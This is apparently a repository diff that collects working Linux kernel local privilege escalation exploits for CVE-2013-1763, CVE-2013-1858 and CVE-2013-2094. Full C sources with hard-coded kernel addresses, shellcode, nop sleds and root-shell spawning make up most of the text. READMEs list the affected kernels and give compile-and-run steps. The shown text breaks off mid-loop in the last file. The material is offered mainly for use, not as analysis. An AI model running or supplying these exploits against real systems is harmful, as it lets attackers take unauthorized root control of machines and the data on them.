||||
int __attribute__((regparm(3)))
|
||||
x()
|
||||
{
|
||||
commit_creds(prepare_kernel_cred(0));
|
||||
return -1;
|
||||
}
|
||||
|
||||
char stage1[] = "\xff\x25\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
|
||||
|
||||
int main() {
|
||||
int fd;
|
||||
unsigned long mmap_start, mmap_size = 0x10000;
|
||||
unsigned family;
|
||||
struct {
|
||||
struct nlmsghdr nlh;
|
||||
struct unix_diag_req r;
|
||||
} req;
|
||||
char buf[8192];
|
||||
|
||||
if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0){
|
||||
printf("Can't create sock diag socket\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
memset(&req, 0, sizeof(req));
|
||||
req.nlh.nlmsg_len = sizeof(req);
|
||||
req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;
|
||||
req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST;
|
||||
req.nlh.nlmsg_seq = 123456;
|
||||
|
||||
req.r.udiag_states = -1;
|
||||
req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN;
|
||||
|
||||
/* Ubuntu 12.10 x86_64 */
|
||||
req.r.sdiag_family = 0x37;
|
||||
commit_creds = (_commit_creds) 0xffffffff8107d180;
|
||||
prepare_kernel_cred = (_prepare_kernel_cred) 0xffffffff8107d410;
|
||||
mmap_start = 0x1a000;
|
||||
|
||||
if (mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC,
|
||||
MAP_SHARED|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {
|
||||
|
||||
printf("mmap fault\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
*(unsigned long *)&stage1[sizeof(stage1)-sizeof(&x)] = (unsigned long)x;
|
||||
memset((void *)mmap_start, 0x90, mmap_size);
|
||||
memcpy((void *)mmap_start+mmap_size-sizeof(stage1), stage1, sizeof(stage1));
|
||||
|
||||
send(fd, &req, sizeof(req), 0);
|
||||
if(!getuid())
|
||||
system("/bin/sh");
|
||||
}
|
164
98-Linux提权/2013/CVE-2013-1763/33336.c
Normal file
164
98-Linux提权/2013/CVE-2013-1763/33336.c
Normal file
@ -0,0 +1,164 @@
|
||||
/*
|
||||
* quick'n'dirty poc for CVE-2013-1763 SOCK_DIAG bug in kernel 3.3-3.8
|
||||
* bug found by Spender
|
||||
* poc by SynQ
|
||||
*
|
||||
* hard-coded for 3.5.0-17-generic #28-Ubuntu SMP Tue Oct 9 19:32:08 UTC 2012 i686 i686 i686 GNU/Linux
|
||||
* using nl_table->hash.rehash_time, index 81
|
||||
*
|
||||
* Fedora 18 support added
|
||||
*
|
||||
* 2/2013
|
||||
*/
|
||||
|
||||
#include <unistd.h>
|
||||
#include <sys/socket.h>
|
||||
#include <linux/netlink.h>
|
||||
#include <netinet/tcp.h>
|
||||
#include <errno.h>
|
||||
#include <linux/if.h>
|
||||
#include <linux/filter.h>
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <linux/sock_diag.h>
|
||||
#include <linux/inet_diag.h>
|
||||
#include <linux/unix_diag.h>
|
||||
#include <sys/mman.h>
|
||||
|
||||
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
|
||||
_commit_creds commit_creds;
|
||||
_prepare_kernel_cred prepare_kernel_cred;
|
||||
unsigned long sock_diag_handlers, nl_table;
|
||||
|
||||
int __attribute__((regparm(3)))
|
||||
kernel_code()
|
||||
{
|
||||
commit_creds(prepare_kernel_cred(0));
|
||||
return -1;
|
||||
}
|
||||
|
||||
int jump_payload_not_used(void *skb, void *nlh)
|
||||
{
|
||||
asm volatile (
|
||||
"mov $kernel_code, %eax\n"
|
||||
"call *%eax\n"
|
||||
);
|
||||
}
|
||||
|
||||
unsigned long
|
||||
get_symbol(char *name)
|
||||
{
|
||||
FILE *f;
|
||||
unsigned long addr;
|
||||
char dummy, sym[512];
|
||||
int ret = 0;
|
||||
|
||||
f = fopen("/proc/kallsyms", "r");
|
||||
if (!f) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
while (ret != EOF) {
|
||||
ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sym);
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sym);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sym)) {
|
||||
printf("[+] resolved symbol %s to %p\n", name, (void *) addr);
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
fclose(f);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int main(int argc, char*argv[])
|
||||
{
|
||||
int fd;
|
||||
unsigned family;
|
||||
struct {
|
||||
struct nlmsghdr nlh;
|
||||
struct unix_diag_req r;
|
||||
} req;
|
||||
char buf[8192];
|
||||
|
||||
if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0){
|
||||
printf("Can't create sock diag socket\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
memset(&req, 0, sizeof(req));
|
||||
req.nlh.nlmsg_len = sizeof(req);
|
||||
req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;
|
||||
req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST;
|
||||
req.nlh.nlmsg_seq = 123456;
|
||||
|
||||
//req.r.sdiag_family = 89;
|
||||
req.r.udiag_states = -1;
|
||||
req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN;
|
||||
|
||||
if(argc==1){
|
||||
printf("Run: %s Fedora|Ubuntu\n",argv[0]);
|
||||
return 0;
|
||||
}
|
||||
else if(strcmp(argv[1],"Fedora")==0){
|
||||
commit_creds = (_commit_creds) get_symbol("commit_creds");
|
||||
prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
|
||||
sock_diag_handlers = get_symbol("sock_diag_handlers");
|
||||
nl_table = get_symbol("nl_table");
|
||||
|
||||
if(!prepare_kernel_cred || !commit_creds || !sock_diag_handlers || !nl_table){
|
||||
printf("some symbols are not available!\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
family = (nl_table - sock_diag_handlers) / 4;
|
||||
printf("family=%d\n",family);
|
||||
req.r.sdiag_family = family;
|
||||
|
||||
if(family>255){
|
||||
printf("nl_table is too far!\n");
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
else if(strcmp(argv[1],"Ubuntu")==0){
|
||||
commit_creds = (_commit_creds) 0xc106bc60;
|
||||
prepare_kernel_cred = (_prepare_kernel_cred) 0xc106bea0;
|
||||
req.r.sdiag_family = 81;
|
||||
}
|
||||
|
||||
unsigned long mmap_start, mmap_size;
|
||||
mmap_start = 0x10000;
|
||||
mmap_size = 0x120000;
|
||||
printf("mmapping at 0x%lx, size = 0x%lx\n", mmap_start, mmap_size);
|
||||
|
||||
if (mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC,
|
||||
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {
|
||||
printf("mmap fault\n");
|
||||
exit(1);
|
||||
}
|
||||
memset((void*)mmap_start, 0x90, mmap_size);
|
||||
|
||||
char jump[] = "\x55\x89\xe5\xb8\x11\x11\x11\x11\xff\xd0\x5d\xc3"; // jump_payload in asm
|
||||
unsigned long *asd = &jump[4];
|
||||
*asd = (unsigned long)kernel_code;
|
||||
|
||||
memcpy( (void*)mmap_start+mmap_size-sizeof(jump), jump, sizeof(jump));
|
||||
|
||||
if ( send(fd, &req, sizeof(req), 0) < 0) {
|
||||
printf("bad send\n");
|
||||
close(fd);
|
||||
return -1;
|
||||
}
|
||||
|
||||
printf("uid=%d, euid=%d\n",getuid(), geteuid() );
|
||||
|
||||
if(!getuid())
|
||||
system("/bin/sh");
|
||||
|
||||
}
|
23
98-Linux提权/2013/CVE-2013-1763/README.md
Normal file
23
98-Linux提权/2013/CVE-2013-1763/README.md
Normal file
@ -0,0 +1,23 @@
|
||||
# CVE-2013-1763
|
||||
```
|
||||
Array index error in the __sock_diag_rcv_msg function in net/core/sock_diag.c
|
||||
in the Linux kernel before 3.7.10 allows local users to gain privileges via a large family value in a Netlink message.
|
||||
```
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2013-1763](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-1763)
|
||||
* [exp-db](https://www.exploit-db.com/exploits/33336/)
|
||||
* [exp-db](https://www.exploit-db.com/exploits/24746/)
|
||||
* [exp-db](https://www.exploit-db.com/exploits/24555/)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
3.3-3.8
|
||||
```
|
||||
|
||||
|
||||
## References
|
||||
* [Linux Kernel CVE-2013-1763 Local Privilege Escalation Vulnerability](http://www.securityfocus.com/bid/58137/exploit)
|
||||
* [linux kernel 本地提权漏洞CVE-2013-1763 exploit 代码分析](https://my.oschina.net/fgq611/blog/181812)
|
||||
|
||||
|
30
98-Linux提权/2013/CVE-2013-1858/README.md
Normal file
30
98-Linux提权/2013/CVE-2013-1858/README.md
Normal file
@ -0,0 +1,30 @@
|
||||
# CVE-2013-1858
|
||||
|
||||
```
|
||||
The clone system-call implementation in the Linux kernel before 3.8.3 does not properly handle a combination of the CLONE_NEWUSER and CLONE_FS flags,
|
||||
which allows local users to gain privileges by calling chroot and leveraging the sharing of the
|
||||
/ directory between a parent process and a child process.
|
||||
```
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2013-1858](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-1858)
|
||||
* [exp-db](https://www.exploit-db.com/exploits/38390/)
|
||||
|
||||
|
||||
## Kernels
|
||||
```
|
||||
before 3.8.3
|
||||
```
|
||||
|
||||
## Usage
|
||||
```
|
||||
$ cc -Wall clown-newuser.c -static
|
||||
|
||||
$ ./a.out
|
||||
```
|
||||
|
||||
## References
|
||||
* [CVE Reference: CVE-2013-1858](https://secuniaresearch.flexerasoftware.com/advisories/cve_reference/CVE-2013-1858/)
|
||||
|
||||
|
||||
|
180
98-Linux提权/2013/CVE-2013-1858/clown-newuser.c
Normal file
180
98-Linux提权/2013/CVE-2013-1858/clown-newuser.c
Normal file
@ -0,0 +1,180 @@
|
||||
/*
|
||||
source: http://www.securityfocus.com/bid/58478/info
|
||||
|
||||
Linux kernel is prone to a local privilege-escalation vulnerability.
|
||||
|
||||
Local attackers can exploit this issue to gain kernel privileges, which will aid in further attacks.
|
||||
*/
|
||||
|
||||
/* clown-newuser.c -- CLONE_NEWUSER kernel root PoC
|
||||
*
|
||||
* Dedicated to: Locke Locke Locke Locke Locke Locke Locke!
|
||||
*
|
||||
* This exploit was made on the 13.3.13.
|
||||
*
|
||||
* (C) 2013 Sebastian Krahmer
|
||||
*
|
||||
* We are so 90's, but we do 2013 xSports.
|
||||
*
|
||||
* Must be compiled static:
|
||||
*
|
||||
* stealth@linux-czfh:~> cc -Wall clown-newuser.c -static
|
||||
* stealth@linux-czfh:~> ./a.out
|
||||
* [**] clown-newuser -- CLONE_NEWUSER local root (C) 2013 Sebastian
|
||||
Krahmer
|
||||
*
|
||||
* [+] Found myself: '/home/stealth/a.out'
|
||||
* [*] Parent waiting for boomsh to appear ...
|
||||
* [*] Setting up chroot ...
|
||||
* [+] Done.
|
||||
* [*] Cloning evil child ...
|
||||
* [+] Done.
|
||||
* [*] Creating UID mapping ...
|
||||
* [+] Done.
|
||||
* [+] Yay! euid=0 uid=1000
|
||||
* linux-czfh:/home/stealth # grep bin /etc/shadow
|
||||
* bin:*:15288::::::
|
||||
* linux-czfh:/home/stealth #
|
||||
*
|
||||
*/
|
||||
#define _GNU_SOURCE
|
||||
#include <sched.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <string.h>
|
||||
#include <errno.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
|
||||
|
||||
int go[2];
|
||||
char child_stack[1<<20];
|
||||
extern char **environ;
|
||||
|
||||
|
||||
void die(const char *msg)
|
||||
{
|
||||
perror(msg);
|
||||
exit(errno);
|
||||
}
|
||||
|
||||
|
||||
int child(void *arg)
|
||||
{
|
||||
char c;
|
||||
|
||||
close(go[1]);
|
||||
read(go[0], &c, 1);
|
||||
|
||||
setuid(0);
|
||||
|
||||
/* this will also affect the parent, but the parent
|
||||
* has the init_user_ns, so it will start suid with real uid 0.
|
||||
*/
|
||||
if (chdir("chroot") < 0)
|
||||
die("[-] chdir");
|
||||
if (chroot(".") < 0)
|
||||
die("[-] chroot");
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
int setup_chroot(const char *me)
|
||||
{
|
||||
mkdir("chroot", 0755);
|
||||
mkdir("chroot/lib64", 0755);
|
||||
mkdir("chroot/bin", 0755);
|
||||
|
||||
if (link(me, "chroot/lib64/ld-linux-x86-64.so.2") < 0)
|
||||
die("[-] link");
|
||||
if (link("/bin/su", "chroot/bin/su") < 0)
|
||||
die("[-] link");
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
char *su[] = {"/bin/su", NULL};
|
||||
char *sh[] = {"/bin/bash", NULL};
|
||||
char me[256], *mee[] = {me, "1", NULL};
|
||||
char uidmap[128], map_file[128];
|
||||
pid_t pid;
|
||||
struct stat st;
|
||||
int fd;
|
||||
|
||||
|
||||
if (geteuid() == 0 && argc == 1) {
|
||||
/* this will run inside chroot, started as the ld.so
|
||||
from
|
||||
* su process
|
||||
*/
|
||||
printf("[+] Yay! euid=%d uid=%d\n", geteuid(),
|
||||
getuid());
|
||||
chown("lib64/ld-linux-x86-64.so.2", 0, 0);
|
||||
chmod("lib64/ld-linux-x86-64.so.2", 04755);
|
||||
exit(0);
|
||||
} else if (geteuid() == 0) {
|
||||
/* this will run outside */
|
||||
setuid(0);
|
||||
execve(*sh, sh, environ);
|
||||
die("[-] execve");
|
||||
}
|
||||
|
||||
printf("[**] clown-newuser -- CLONE_NEWUSER local root (C) 2013
|
||||
Sebastian Krahmer\n\n");
|
||||
|
||||
memset(me, 0, sizeof(me));
|
||||
readlink("/proc/self/exe", me, sizeof(me) - 1);
|
||||
printf("[+] Found myself: '%s'\n", me);
|
||||
|
||||
if (fork() > 0) {
|
||||
printf("[*] Parent waiting for boomsh to appear ...\n");
|
||||
for (;;) {
|
||||
stat(me, &st);
|
||||
if (st.st_uid == 0)
|
||||
break;
|
||||
usleep(1000);
|
||||
}
|
||||
execve(me, mee, environ);
|
||||
die("[-] execve");
|
||||
}
|
||||
|
||||
printf("[*] Setting up chroot ...\n");
|
||||
setup_chroot(me);
|
||||
printf("[+] Done.\n[*] Cloning evil child ...\n");
|
||||
|
||||
if (pipe(go) < 0)
|
||||
die("[-] pipe");
|
||||
|
||||
pid = clone(child, child_stack + sizeof(child_stack),
|
||||
CLONE_NEWUSER|CLONE_FS|SIGCHLD, NULL);
|
||||
if (pid == -1)
|
||||
die("[-] clone");
|
||||
|
||||
printf("[+] Done.\n[*] Creating UID mapping ...\n");
|
||||
|
||||
snprintf(map_file, sizeof(map_file), "/proc/%d/uid_map", pid);
|
||||
if ((fd = open(map_file, O_RDWR)) < 0)
|
||||
die("[-] open");
|
||||
snprintf(uidmap, sizeof(uidmap), "0 %d 1\n", getuid());
|
||||
if (write(fd, uidmap, strlen(uidmap)) < 0)
|
||||
die("[-] write");
|
||||
close(fd);
|
||||
printf("[+] Done.\n");
|
||||
|
||||
close(go[0]);
|
||||
write(go[1], "X", 1);
|
||||
|
||||
waitpid(pid, NULL, 0);
|
||||
execve(*su, su, NULL);
|
||||
die("[-] execve");
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
32
98-Linux提权/2013/CVE-2013-2094/README.md
Normal file
32
98-Linux提权/2013/CVE-2013-2094/README.md
Normal file
@ -0,0 +1,32 @@
|
||||
# CVE-2013-2094
|
||||
|
||||
CVE-2013-2094
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2013-2094](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-2094)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
3.0.0, 3.0.1, 3.0.2, 3.0.3, 3.0.4, 3.0.5, 3.0.6, 3.1.0, 3.2, 3.3, 3.4.0, 3.4.1, 3.4.2, 3.4.3, 3.4.4, 3.4.5, 3.4.6, 3.4.8, 3.4.9, 3.5, 3.6, 3.7, 3.8.0, 3.8.1, 3.8.2, 3.8.3, 3.8.4, 3.8.5, 3.8.6, 3.8.7, 3.8.8, 3.8.9
|
||||
```
|
||||
|
||||
## Usage
|
||||
```
|
||||
$ gcc vnik.c -O2 -o vnik
|
||||
|
||||
$ uname -r
|
||||
3.2.0-23-generic
|
||||
|
||||
$ ./vnik 0
|
||||
```
|
||||
|
||||

|
||||
|
||||
### This binary has been verified on:
|
||||
- Ubuntu 12.04.0 - Linux ubuntu 3.2.0-23-generic #36-Ubuntu x86_64
|
||||
- Ubuntu 12.04.1 - Linux ubuntu 3.2.0-29-generic #46-Ubuntu x86_64
|
||||
- Ubuntu 12.04.2 - Linux ubuntu 3.5.0-23-generic #35-Ubuntu x86_64
|
||||
|
||||
|
||||
|
||||
|
BIN
98-Linux提权/2013/CVE-2013-2094/perf_swevent
Normal file
BIN
98-Linux提权/2013/CVE-2013-2094/perf_swevent
Normal file
Binary file not shown.
282
98-Linux提权/2013/CVE-2013-2094/perf_swevent.c
Normal file
282
98-Linux提权/2013/CVE-2013-2094/perf_swevent.c
Normal file
@ -0,0 +1,282 @@
|
||||
/*
|
||||
* CVE-2013-2094 exploit x86_64 Linux < 3.8.9
|
||||
* by sorbo (sorbo@darkircop.org) June 2013
|
||||
*
|
||||
* Based on sd's exploit. Supports more targets.
|
||||
*
|
||||
*/
|
||||
|
||||
#define _GNU_SOURCE
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/mman.h>
|
||||
#include <linux/perf_event.h>
|
||||
#include <signal.h>
|
||||
#include <assert.h>
|
||||
|
||||
#define BASE 0x380000000
|
||||
#define BASE_JUMP 0x1780000000
|
||||
#define SIZE 0x10000000
|
||||
#define KSIZE 0x2000000
|
||||
|
||||
#define TMP(x) (0xdeadbeef + (x))
|
||||
|
||||
struct idt {
|
||||
uint16_t limit;
|
||||
uint64_t addr;
|
||||
} __attribute__((packed));
|
||||
|
||||
static int _fd;
|
||||
|
||||
static int perf_open(uint64_t off)
|
||||
{
|
||||
struct perf_event_attr attr;
|
||||
int rc;
|
||||
|
||||
// printf("perf open %lx [%d]\n", off, (int) off);
|
||||
|
||||
memset(&attr, 0, sizeof(attr));
|
||||
|
||||
attr.type = PERF_TYPE_SOFTWARE;
|
||||
attr.size = sizeof(attr);
|
||||
attr.config = off;
|
||||
attr.mmap = 1;
|
||||
attr.comm = 1;
|
||||
attr.exclude_kernel = 1;
|
||||
|
||||
rc = syscall(SYS_perf_event_open, &attr, 0, -1, -1, 0);
|
||||
|
||||
return rc;
|
||||
}
|
||||
|
||||
void __sc_start(void);
|
||||
void __sc_next(void);
|
||||
|
||||
void __sc(void)
|
||||
{
|
||||
asm("__sc_start:\n"
|
||||
"call __sc_next\n"
|
||||
"iretq\n"
|
||||
"__sc_next:\n");
|
||||
}
|
||||
|
||||
void sc(void)
|
||||
{
|
||||
int i, j;
|
||||
uint8_t *current = *(uint8_t **)(((uint64_t) &i) & (-8192));
|
||||
uint64_t kbase = ((uint64_t)current) >> 36;
|
||||
int uid = TMP(1);
|
||||
int gid = TMP(2);
|
||||
|
||||
for (i = 0; i < 4000; i += 4) {
|
||||
uint64_t *p = (void *) ¤t[i];
|
||||
uint32_t *cred = (uint32_t*) p[0];
|
||||
|
||||
if ((p[0] != p[1]) || ((p[0]>>36) != kbase))
|
||||
continue;
|
||||
|
||||
for (j = 0; j < 20; j++) {
|
||||
if (cred[j] == uid && cred[j + 1] == gid) {
|
||||
for (i = 0; i < 8; i++) {
|
||||
cred[j + i] = 0;
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static void sc_replace(uint8_t *sc, uint32_t needle, uint32_t val)
|
||||
{
|
||||
void *p;
|
||||
|
||||
p = memmem(sc, 900, &needle, sizeof(needle));
|
||||
if (!p)
|
||||
errx(1, "can't find %x", needle);
|
||||
|
||||
memcpy(p, &val, sizeof(val));
|
||||
}
|
||||
|
||||
static void *map_mem(uint64_t addr)
|
||||
{
|
||||
void *p;
|
||||
|
||||
p = mmap((void*) addr, SIZE, PROT_READ | PROT_WRITE,
|
||||
MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, -1, 0);
|
||||
|
||||
if (p == MAP_FAILED)
|
||||
err(1, "mmap()");
|
||||
|
||||
return p;
|
||||
}
|
||||
|
||||
static int find_mem(void *mem, uint8_t c)
|
||||
{
|
||||
int i;
|
||||
uint8_t *p = mem;
|
||||
|
||||
for (i = 0; i < SIZE; i++) {
|
||||
if (p[i] == c)
|
||||
return i;
|
||||
}
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
static void dropshell()
|
||||
{
|
||||
if (setuid(0) != 0)
|
||||
errx(1, "failed");
|
||||
|
||||
printf("Launching shell\n");
|
||||
|
||||
execl("/bin/sh", "sh", NULL);
|
||||
exit(0);
|
||||
}
|
||||
|
||||
void morte(int x)
|
||||
{
|
||||
printf("Got signal\n");
|
||||
close(_fd);
|
||||
dropshell();
|
||||
}
|
||||
|
||||
static void trigger(int intr)
|
||||
{
|
||||
switch (intr) {
|
||||
case 0:
|
||||
do {
|
||||
int z = 1;
|
||||
int a = 1;
|
||||
|
||||
z--;
|
||||
|
||||
a /= z;
|
||||
} while (0);
|
||||
break;
|
||||
|
||||
case 4:
|
||||
asm("int $4");
|
||||
break;
|
||||
|
||||
case 0x80:
|
||||
asm("int $0x80");
|
||||
break;
|
||||
|
||||
default:
|
||||
errx(1, "unknown intr %d", intr);
|
||||
}
|
||||
|
||||
sleep(3);
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
uint32_t *p[2];
|
||||
int fd, i;
|
||||
uint64_t off;
|
||||
uint64_t addr = BASE;
|
||||
struct idt idt;
|
||||
uint8_t *kbase;
|
||||
int sz = 4;
|
||||
int intr = 4;
|
||||
|
||||
printf("Searchin...\n");
|
||||
|
||||
p[0] = map_mem(BASE);
|
||||
p[1] = map_mem(BASE_JUMP);
|
||||
|
||||
memset(p[1], 0x69, SIZE);
|
||||
|
||||
off = 0xFFFFFFFFL;
|
||||
fd = perf_open(off);
|
||||
close(fd);
|
||||
|
||||
i = find_mem(p[0], 0xff);
|
||||
if (i == -1) {
|
||||
i = find_mem(p[1], 0x68);
|
||||
|
||||
if (i == -1)
|
||||
errx(1, "Can't find overwrite");
|
||||
|
||||
sz = 24;
|
||||
addr = BASE_JUMP;
|
||||
printf("detected CONFIG_JUMP_LABEL\n");
|
||||
}
|
||||
|
||||
munmap(p[0], SIZE);
|
||||
munmap(p[1], SIZE);
|
||||
|
||||
addr += i;
|
||||
addr -= off * sz;
|
||||
|
||||
printf("perf_swevent_enabled is at 0x%lx\n", addr);
|
||||
|
||||
asm("sidt %0" : "=m" (idt));
|
||||
|
||||
printf("IDT at 0x%lx\n", idt.addr);
|
||||
|
||||
off = addr - idt.addr;
|
||||
off -= 8;
|
||||
|
||||
switch (off % sz) {
|
||||
case 0:
|
||||
intr = 0;
|
||||
break;
|
||||
|
||||
case 8:
|
||||
intr = 0x80;
|
||||
break;
|
||||
|
||||
case 16:
|
||||
intr = 4;
|
||||
break;
|
||||
|
||||
default:
|
||||
errx(1, "remainder %d", off % sz);
|
||||
}
|
||||
|
||||
printf("Using interrupt %d\n", intr);
|
||||
|
||||
off -= 16 * intr;
|
||||
|
||||
assert((off % sz) == 0);
|
||||
|
||||
off /= sz;
|
||||
off = -off;
|
||||
|
||||
// printf("Offset %lx\n", off);
|
||||
|
||||
kbase = (uint8_t*) (idt.addr & 0xFF000000);
|
||||
|
||||
printf("Shellcode at %p\n", kbase);
|
||||
|
||||
if (mmap(kbase, KSIZE, PROT_READ | PROT_WRITE | PROT_EXEC,
|
||||
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0) == MAP_FAILED)
|
||||
err(1, "mmap()");
|
||||
|
||||
memset(kbase, 0x90, KSIZE);
|
||||
kbase += KSIZE - 1024;
|
||||
|
||||
i = __sc_next - __sc_start;
|
||||
memcpy(kbase, __sc_start, i);
|
||||
kbase += i;
|
||||
memcpy(kbase, sc, 900);
|
||||
|
||||
sc_replace(kbase, TMP(1), getuid());
|
||||
sc_replace(kbase, TMP(2), getgid());
|
||||
|
||||
signal(SIGALRM, morte);
|
||||
alarm(2);
|
||||
|
||||
printf("Triggering sploit\n");
|
||||
_fd = perf_open(off);
|
||||
|
||||
trigger(intr);
|
||||
|
||||
exit(0);
|
||||
}
|
BIN
98-Linux提权/2013/CVE-2013-2094/perf_swevent64
Normal file
BIN
98-Linux提权/2013/CVE-2013-2094/perf_swevent64
Normal file
Binary file not shown.
133
98-Linux提权/2013/CVE-2013-2094/perf_swevent64.c
Normal file
133
98-Linux提权/2013/CVE-2013-2094/perf_swevent64.c
Normal file
@ -0,0 +1,133 @@
|
||||
/**
|
||||
* Ubuntu 12.04 3.x x86_64 perf_swevent_init Local root exploit
|
||||
* by Vitaly Nikolenko (vnik5287@gmail.com)
|
||||
*
|
||||
* based on semtex.c by sd
|
||||
*
|
||||
* Supported targets:
|
||||
* [0] Ubuntu 12.04.0 - 3.2.0-23-generic
|
||||
* [1] Ubuntu 12.04.1 - 3.2.0-29-generic
|
||||
* [2] Ubuntu 12.04.2 - 3.5.0-23-generic
|
||||
*
|
||||
* $ gcc vnik.c -O2 -o vnik
|
||||
*
|
||||
* $ uname -r
|
||||
* 3.2.0-23-generic
|
||||
*
|
||||
* $ ./vnik 0
|
||||
*/
|
||||
|
||||
#define _GNU_SOURCE 1
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/mman.h>
|
||||
#include <syscall.h>
|
||||
#include <stdint.h>
|
||||
#include <assert.h>
|
||||
|
||||
#define BASE 0x1780000000
|
||||
#define SIZE 0x0010000000
|
||||
#define KSIZE 0x2000000
|
||||
#define AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337))))
|
||||
|
||||
typedef int __attribute__((regparm(3))) (*commit_creds_fn)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(unsigned long cred);
|
||||
|
||||
uint64_t targets[3][3] =
|
||||
{{0xffffffff81ef67e0, // perf_swevent_enabled
|
||||
0xffffffff81091630, // commit_creds
|
||||
0xffffffff810918e0}, // prepare_kernel_cred
|
||||
{0xffffffff81ef67a0,
|
||||
0xffffffff81091220,
|
||||
0xffffffff810914d0},
|
||||
{0xffffffff81ef5940,
|
||||
0xffffffff8107ee30,
|
||||
0xffffffff8107f0c0}
|
||||
};
|
||||
|
||||
void __attribute__((regparm(3))) payload() {
|
||||
uint32_t *fixptr = (void*)AB(1);
|
||||
// restore the handler
|
||||
*fixptr = -1;
|
||||
commit_creds_fn commit_creds = (commit_creds_fn)AB(2);
|
||||
prepare_kernel_cred_fn prepare_kernel_cred = (prepare_kernel_cred_fn)AB(3);
|
||||
commit_creds(prepare_kernel_cred((uint64_t)NULL));
|
||||
}
|
||||
|
||||
void trigger(uint32_t off) {
|
||||
uint64_t buf[10] = { 0x4800000001, off, 0, 0, 0, 0x300 };
|
||||
int fd = syscall(298, buf, 0, -1, -1, 0);
|
||||
assert( !close(fd) );
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
uint64_t off64, needle, kbase, *p;
|
||||
uint8_t *code;
|
||||
uint32_t int_n, j = 5, target = 1337;
|
||||
int offset = 0;
|
||||
void *map;
|
||||
|
||||
assert(argc == 2 && "target?");
|
||||
assert( (target = atoi(argv[1])) < 3 );
|
||||
|
||||
struct {
|
||||
uint16_t limit;
|
||||
uint64_t addr;
|
||||
} __attribute__((packed)) idt;
|
||||
|
||||
// mmap user-space block so we don't page fault
|
||||
// on sw_perf_event_destroy
|
||||
assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) == (void*)BASE);
|
||||
memset(map, 0, SIZE);
|
||||
|
||||
asm volatile("sidt %0" : "=m" (idt));
|
||||
kbase = idt.addr & 0xff000000;
|
||||
printf("IDT addr = 0x%lx\n", idt.addr);
|
||||
|
||||
assert((code = (void*)mmap((void*)kbase, KSIZE, 7, 0x32, 0, 0)) == (void*)kbase);
|
||||
memset(code, 0x90, KSIZE); code += KSIZE-1024; memcpy(code, &payload, 1024);
|
||||
memcpy(code-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf", 13);
|
||||
|
||||
// can only play with interrupts 3, 4 and 0x80
|
||||
for (int_n = 3; int_n <= 0x80; int_n++) {
|
||||
for (off64 = 0x00000000ffffffff; (int)off64 < 0; off64--) {
|
||||
int off32 = off64;
|
||||
|
||||
